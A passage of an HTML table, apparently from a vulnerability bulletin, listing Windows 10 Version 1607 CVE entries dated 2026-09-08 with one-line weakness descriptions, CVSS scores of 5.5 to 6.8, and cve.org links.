&lt;td&gt;Null pointer dereference in Active Directory Domain Services allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62762&quot; target=&quot;_blank&quot;&gt;CVE-2026-62762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Windows PowerShell allows an unauthorized attacker to bypass a security feature over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62801&quot; target=&quot;_blank&quot;&gt;CVE-2026-62801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68833&quot; target=&quot;_blank&quot;&gt;CVE-2026-68833&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows iSCSI allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68898&quot; target=&quot;_blank&quot;&gt;CVE-2026-68898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Storing passwords in a recoverable format in Windows DHCP Server allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69297&quot; target=&quot;_blank&quot;&gt;CVE-2026-69297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69350&quot; target=&quot;_blank&quot;&gt;CVE-2026-69350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69373&quot; target=&quot;_blank&quot;&gt;CVE-2026-69373&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of externally-controlled format string in Active Directory Certificate Services (AD CS) allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69395&quot; target=&quot;_blank&quot;&gt;CVE-2026-69395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows DHCP Server allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69415&quot; target=&quot;_blank&quot;&gt;CVE-2026-69415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows BitLocker allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69449&quot; target=&quot;_blank&quot;&gt;CVE-2026-69449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Mass Storage Class Driver allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69490&quot; target=&quot;_blank&quot;&gt;CVE-2026-69490&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing release of memory after effective lifetime in Windows DHCP Server allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69497&quot; target=&quot;_blank&quot;&gt;CVE-2026-69497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69566&quot; target=&quot;_blank&quot;&gt;CVE-2026-69566&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Incomplete list of disallowed inputs in Active Directory Certificate Services (AD CS) allows an authorized attacker to perform tampering over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69624&quot; target=&quot;_blank&quot;&gt;CVE-2026-69624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Uncaught exception in Windows iSCSI Target Service allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69839&quot; target=&quot;_blank&quot;&gt;CVE-2026-69839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69878&quot; target=&quot;_blank&quot;&gt;CVE-2026-69878&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70582&quot; target=&quot;_blank&quot;&gt;CVE-2026-70582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71329&quot; target=&quot;_blank&quot;&gt;CVE-2026-71329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Windows Failover Cluster allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71338&quot; target=&quot;_blank&quot;&gt;CVE-2026-71338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71339&quot; target=&quot;_blank&quot;&gt;CVE-2026-71339&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71348&quot; target=&quot;_blank&quot;&gt;CVE-2026-71348&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71349&quot; target=&quot;_blank&quot;&gt;CVE-2026-71349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an unauthorized attacker to execute code with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71350&quot; target=&quot;_blank&quot;&gt;CVE-2026-71350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Winsock allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72927&quot; target=&quot;_blank&quot;&gt;CVE-2026-72927&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72935&quot; target=&quot;_blank&quot;&gt;CVE-2026-72935&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Null pointer dereference in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72939&quot; target=&quot;_blank&quot;&gt;CVE-2026-72939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Spaceport.sys allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72942&quot; target=&quot;_blank&quot;&gt;CVE-2026-72942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Windows File History Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72947&quot; target=&quot;_blank&quot;&gt;CVE-2026-72947&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Relative path traversal in Windows DNS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72948&quot; target=&quot;_blank&quot;&gt;CVE-2026-72948&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Volume Shadow Copy allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72985&quot; target=&quot;_blank&quot;&gt;CVE-2026-72985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Hub Driver allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72999&quot; target=&quot;_blank&quot;&gt;CVE-2026-72999&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77887&quot; target=&quot;_blank&quot;&gt;CVE-2026-77887&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows DHCP Server allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77891&quot; target=&quot;_blank&quot;&gt;CVE-2026-77891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;No cwe for this issue in Windows Boot Manager allows an unauthorized attacker to elevate privileges with a physical attack.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77892&quot; target=&quot;_blank&quot;&gt;CVE-2026-77892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Remote Desktop Client allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77896&quot; target=&quot;_blank&quot;&gt;CVE-2026-77896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Microsoft Windows SCSI Class System File allows an unauthorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78453&quot; target=&quot;_blank&quot;&gt;CVE-2026-78453&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68830&quot; target=&quot;_blank&quot;&gt;CVE-2026-68830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Files or directories accessible to external parties in Windows Defender Firewall Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68831&quot; target=&quot;_blank&quot;&gt;CVE-2026-68831&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Microsoft Office Word allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68843&quot; target=&quot;_blank&quot;&gt;CVE-2026-68843&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Buffer over-read in Windows NTFS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68851&quot; target=&quot;_blank&quot;&gt;CVE-2026-68851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Microsoft Account allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68852&quot; target=&quot;_blank&quot;&gt;CVE-2026-68852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Program Compatibility Assistant Service allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68874&quot; target=&quot;_blank&quot;&gt;CVE-2026-68874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68881&quot; target=&quot;_blank&quot;&gt;CVE-2026-68881&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Network Connection Broker allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68886&quot; target=&quot;_blank&quot;&gt;CVE-2026-68886&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Numeric truncation error in Internet Storage Name Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68895&quot; target=&quot;_blank&quot;&gt;CVE-2026-68895&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows USB Audio Class driver (usbaudio.sys) allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69286&quot; target=&quot;_blank&quot;&gt;CVE-2026-69286&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use of uninitialized resource in Windows GDI+ allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69288&quot; target=&quot;_blank&quot;&gt;CVE-2026-69288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Push Message Routing Service allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69303&quot; target=&quot;_blank&quot;&gt;CVE-2026-69303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Microsoft Standard XPS allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69308&quot; target=&quot;_blank&quot;&gt;CVE-2026-69308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Remote Desktop Client allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69317&quot; target=&quot;_blank&quot;&gt;CVE-2026-69317&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Imaging Component allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69318&quot; target=&quot;_blank&quot;&gt;CVE-2026-69318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function in Windows Power Dependency Coordinator allows an authorized attacker to perform tampering locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69321&quot; target=&quot;_blank&quot;&gt;CVE-2026-69321&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to disclose information locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69343&quot; target=&quot;_blank&quot;&gt;CVE-2026-69343&lt;/a&gt;&lt;/td&gt;
